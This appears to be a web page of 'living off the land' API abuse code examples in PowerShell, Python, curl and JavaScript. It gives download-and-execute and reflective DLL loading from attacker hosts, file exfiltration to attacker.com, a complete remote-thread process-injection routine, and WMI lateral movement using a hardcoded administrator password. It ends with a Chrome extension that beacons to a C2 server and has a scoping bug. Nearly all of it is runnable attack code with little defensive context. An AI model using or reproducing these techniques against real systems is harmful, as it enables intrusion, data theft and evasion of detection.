Code Examples

Real code examples for common LOTL API abuse scenarios.

Command Execution via PowerShell

Execute arbitrary commands using PowerShell and .NET APIs

PowerShell

# Using Process.Start to execute commands
[System.Diagnostics.Process]::Start("cmd.exe", "/c whoami")

# Using WMI to execute remotely
Invoke-WmiMethod -Path "Win32_Process" -Name Create -ArgumentList "cmd.exe /c whoami"

# Download and execute via .NET HttpClient
$client = New-Object System.Net.Http.HttpClient
$response = $client.GetAsync("http://attacker/payload.exe").Result
$bytes = $response.Content.ReadAsByteArrayAsync().Result
$exec = [System.Reflection.Assembly]::Load($bytes)

Python

import subprocess
import http.client

# Simple command execution
proc = subprocess.Popen("cmd.exe /c whoami", shell=True)
proc.wait()

# Download and execute (conceptual)
conn = http.client.HTTPSConnection("attacker.com")
conn.request("GET", "/payload.exe")
response = conn.getresponse()
payload = response.read()

Data Exfiltration via HTTPS

Exfiltrate sensitive data using HTTP/HTTPS

Related APIs:

PowerShell

# Send data to C2 server
$data = Get-Content "C:\sensitive\file.txt"
$client = New-Object System.Net.Http.HttpClient
$content = New-Object System.Net.Http.StringContent($data)
$response = $client.PostAsync("http://attacker.com/receive", $content).Result

# Alternative: Using WebClient
$wc = New-Object System.Net.WebClient
$wc.UploadString("http://attacker.com/receive", $data)

Python

import requests

# Send data to C2
with open('sensitive_file.txt', 'r') as f:
    data = f.read()

response = requests.post('http://attacker.com/receive', data=data)
print(f"Status: {response.status_code}")

curl

# Simple data exfiltration
curl -X POST http://attacker.com/receive -d "data=$(whoami)@$(hostname)"

# Send file content
curl -X POST http://attacker.com/receive --data-binary @sensitive_file.txt

Process Injection for Evasion

Inject code into legitimate processes to evade detection

Related APIs:

PowerShell

# VirtualAllocEx + WriteProcessMemory + CreateRemoteThread pattern
Add-Type -MemberDefinition @"
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId);

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
"@ -Name Win32 -Namespace Win32Functions

# Get target process
$targetProcess = Get-Process explorer | Select-Object -First 1
$hProcess = [Win32Functions.Win32]::OpenProcess(0x001F0FFF, $false, $targetProcess.Id)

# Allocate memory
$shellcode = @(0x90) * 1024  # Example: NOP sled
$addr = [Win32Functions.Win32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, 1024, 0x1000, 0x40)

# Write shellcode
$bytesWritten = 0
[Win32Functions.Win32]::WriteProcessMemory($hProcess, $addr, $shellcode, 1024, [ref]$bytesWritten)

# Create remote thread
$threadId = 0
[Win32Functions.Win32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [ref]$threadId)

Lateral Movement via WMI

Move laterally across network using WMI and remote process execution

PowerShell

# Lateral movement with credentials
$targetHost = "server2.domain.com"
$username = "DOMAIN\\Administrator"
$password = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)

# Execute command remotely
$proc = Invoke-WmiMethod -ComputerName $targetHost `
  -Path "Win32_Process" `
  -Name Create `
  -ArgumentList "cmd.exe /c whoami" `
  -Credential $cred

Write-Host "Process ID: $($proc.processId)"

# Alternative: Using CIM (newer method)
$cimSession = New-CimSession -ComputerName $targetHost -Credential $cred
Invoke-CimMethod -CimSession $cimSession -ClassName Win32_Process -MethodName Create `
  -Arguments @{CommandLine = "cmd.exe /c whoami"}

Reflective Assembly Loading

Load .NET assemblies from memory for stealthy code execution

PowerShell

# Download DLL and load via Reflection
$url = "http://attacker.com/malicious.dll"
$client = New-Object System.Net.WebClient
$bytes = $client.DownloadData($url)

# Load assembly from byte array
$assembly = [System.Reflection.Assembly]::Load($bytes)

# Get type and execute method
$type = $assembly.GetType("Namespace.ClassName")
$method = $type.GetMethod("Main")
$method.Invoke($null, @())

# Alternative: Using System.Reflection.Assembly.LoadFrom for local files
$assembly2 = [System.Reflection.Assembly]::LoadFrom("C:\\temp\\payload.dll")

Browser Extension Persistence

Persist data in Chrome extensions for long-term access

JavaScript

// manifest.json
{
  "manifest_version": 3,
  "name": "My Extension",
  "permissions": ["storage", "http://*/*", "https://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "host_permissions": ["http://*/*", "https://*/*"]
}

// background.js
chrome.runtime.onInstalled.addListener(() => {
  // Store C2 configuration
  chrome.storage.sync.set({
    'c2_url': 'http://attacker.com/api',
    'beacon_interval': 3600,
    'exfil_data': [],
    'installed_at': new Date().toISOString()
  });
});

// Periodic C2 communication
setInterval(() => {
  chrome.storage.sync.get(['c2_url', 'exfil_data'], (result) => {
    // Send exfiltrated data to C2
    fetch(result.c2_url, {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({data: result.exfil_data})
    });
    
    // Clear sent data
    chrome.storage.sync.set({'exfil_data': []});
  });
}, result.beacon_interval * 1000);

Want to Submit Your Example?

We're always looking for real-world examples and use cases to share with the community. If you have an example you'd like to contribute, please: